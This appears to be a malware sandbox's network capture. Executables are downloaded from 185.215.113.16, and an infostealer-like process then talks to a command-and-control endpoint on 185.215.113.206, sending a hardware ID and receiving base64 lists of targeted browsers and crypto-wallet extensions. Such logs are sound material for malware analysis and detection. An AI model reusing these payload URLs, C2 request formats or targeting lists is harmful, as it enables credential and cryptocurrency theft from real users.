Dec 23, 2024 06:53:35.161518097 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 06:53:36.493980885 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 05:53:35 GMT Content-Type: application/octet-stream Content-Length: 2814976 Last-Modified: Mon, 23 Dec 2024 05:10:39 GMT Connection: keep-alive ETag: "6768f0cf-2af400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 5e da 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@+ `@ +^+`Ui`D @ @ @.rsrcD``@.idata f@rujujpldfh@tkihlsxu +@.taggant@@+"@
Dec 23, 2024 06:53:36.494044065 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 06:53:36.494055986 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 06:53:36.494332075 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 06:53:36.494343042 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 06:53:36.494349957 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 06:53:36.494359970 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 06:53:36.494793892 CET	1236	IN	Data Raw: 02 04 7b 59 ee e2 97 79 be e3 71 59 16 f2 71 59 f8 04 76 59 ee e2 97 5f 16 e0 71 59 f4 02 9c 59 ee ef a1 5c ee 41 72 59 ee df 71 59 ff 04 89 59 ee e6 ef 6d ee dc 7b 63 f9 f2 7d 84 35 e3 79 f3 fb e5 e0 71 ee dc 7b cb 11 dc 71 c9 16 f5 71 59 f8 08 Data Ascii: {YyqYqYvY_qYY\ArYqYYm{c}5yq{qqYb]qYYYqYswYq_KY]we xq_rY\<rYqYYm{c}0yq{qqYb]qYYYqYswYb]qYvYa4~
Dec 23, 2024 06:53:36.494812012 CET	1236	IN	Data Raw: f6 e2 71 95 f4 c2 7b 5f ee cd 79 47 f7 e2 71 e7 f8 ca 7a 5f ee 41 78 47 f7 e2 71 23 f9 ca 7a 5f ee 29 7b 4b f9 e6 71 df f8 90 7b 5f ee f2 7c 63 ee e2 71 4e f7 ca 7a 5f ee 3d 79 47 f7 e2 71 45 f4 ca 7a 5f ee 89 7b 47 f7 e2 71 a1 f2 15 7a 5f ee 40 Data Ascii: q{_yGqz_AxGq#z_){Kq{_\|cqNz_=yGqEz_{Gqz_@zGq{q_Vzcqq_vGqYqYqZqYq\|qZri%y?!rZqYq5yq\rYzY=r`q\qOqqmrYwY=rlq\qqqmrY{tY=r{q\qq
Dec 23, 2024 06:53:36.494817972 CET	1236	IN	Data Raw: ee 55 72 00 f8 ec 71 da ee 83 7b 5f ee 75 72 00 f8 f6 71 22 ef 83 7b 5f ee 65 72 00 f8 e2 71 02 ef 83 7b 5a ee b5 72 8a f7 05 72 32 ef 07 7d 85 ee bd 72 8f f7 0e 72 0a ef 00 7c 9a ee 8d 72 ed f3 23 72 42 ef 07 7d a4 ee 8d 72 65 f3 2d 72 4a ef ad Data Ascii: Urq{_urq"{_erq{Zrr2}rr\|r#rB}re-rJwrd@r\|r]Nryrnq{_qaerbqqiorbqqqyrbqq}rbrqrbrq~rbrqjrb rqorb,rqjrb4rqrb<rq
Dec 23, 2024 06:53:36.613678932 CET	1236	IN	Data Raw: 3b 2b b6 a2 34 35 d1 9b 3d 2b c6 b8 31 2b c0 9f 37 23 72 ac 33 2e c8 a2 31 21 d1 aa 43 21 c4 b2 4d 1f c1 a7 34 25 b9 59 41 1f d1 a6 2f 2a b3 a0 33 2e d1 a5 3d 1f bd 59 41 21 c4 af 37 1f b7 b8 33 2e c4 a8 40 3b b5 ab 37 30 bb 9c 2f 28 72 ac 33 2e Data Ascii: ;+45=+1+7#r3.1!C!M4%YA/3.=YA!73.@;70/(r3.1!@.M;YA!7C/M 7*MB./D%MB./B <@23;=,r3.1!3.:;72/D%M"3;A0M D!YA!7/A/r3.1!:(
Dec 23, 2024 06:53:41.276093006 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 06:53:41.779036045 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 05:53:40 GMT Content-Type: application/octet-stream Content-Length: 2907648 Last-Modified: Mon, 23 Dec 2024 05:12:34 GMT Connection: keep-alive ETag: "6768f142-2c5e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 90 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 4f 00 00 04 00 00 9d b5 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(O@O,@M$a$$ $h@.rsrc$x@.idata $z@pkmjmmvt$\|@ypshbykvO8,@.taggant0O"<,@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49793	185.215.113.206	80	2224	C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 06:53:49.650605917 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 06:53:50.989908934 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:53:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 23, 2024 06:53:50.993441105 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKEGDHCFCAAECAKECBAF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 32 39 33 38 33 44 34 33 30 43 42 31 36 38 31 38 39 35 35 38 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 2d 2d 0d 0a Data Ascii: ------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="hwid"729383D430CB1681895587------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="build"stok------JKEGDHCFCAAECAKECBAF--
Dec 23, 2024 06:53:51.449174881 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:53:51 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 7a 6c 6d 4f 54 5a 6c 5a 6a 4d 30 4f 54 6b 30 4d 6a 55 35 5a 54 6c 6c 4e 32 49 32 4e 7a 64 69 4e 7a 49 7a 4e 6d 51 7a 59 54 4d 35 5a 47 4d 33 4e 47 49 34 4d 44 5a 69 4d 44 63 78 4f 44 55 77 59 54 6b 78 5a 54 6b 7a 4f 54 56 68 59 6a 5a 6d 4f 44 42 68 4d 32 4a 6c 59 7a 4e 6c 4d 44 67 79 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YzlmOTZlZjM0OTk0MjU5ZTllN2I2NzdiNzIzNmQzYTM5ZGM3NGI4MDZiMDcxODUwYTkxZTkzOTVhYjZmODBhM2JlYzNlMDgyfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 23, 2024 06:53:51.450170994 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEBGIDAAFHIJJJJEGCG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 66 39 36 65 66 33 34 39 39 34 32 35 39 65 39 65 37 62 36 37 37 62 37 32 33 36 64 33 61 33 39 64 63 37 34 62 38 30 36 62 30 37 31 38 35 30 61 39 31 65 39 33 39 35 61 62 36 66 38 30 61 33 62 65 63 33 65 30 38 32 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 2d 2d 0d 0a Data Ascii: ------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="token"c9f96ef34994259e9e7b677b7236d3a39dc74b806b071850a91e9395ab6f80a3bec3e082------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="message"browsers------IIEBGIDAAFHIJJJJEGCG--
Dec 23, 2024 06:53:51.893435001 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:53:51 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 23, 2024 06:53:51.893537998 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 23, 2024 06:53:51.895054102 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDHJKKFBAEGDGDGCBKEC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 66 39 36 65 66 33 34 39 39 34 32 35 39 65 39 65 37 62 36 37 37 62 37 32 33 36 64 33 61 33 39 64 63 37 34 62 38 30 36 62 30 37 31 38 35 30 61 39 31 65 39 33 39 35 61 62 36 66 38 30 61 33 62 65 63 33 65 30 38 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 2d 2d 0d 0a Data Ascii: ------JDHJKKFBAEGDGDGCBKECContent-Disposition: form-data; name="token"c9f96ef34994259e9e7b677b7236d3a39dc74b806b071850a91e9395ab6f80a3bec3e082------JDHJKKFBAEGDGDGCBKECContent-Disposition: form-data; name="message"plugins------JDHJKKFBAEGDGDGCBKEC--
Dec 23, 2024 06:53:52.338469982 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:53:52 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 23, 2024 06:53:52.338515043 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 23, 2024 06:53:52.338526964 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 23, 2024 06:53:52.338797092 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Dec 23, 2024 06:53:52.338808060 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
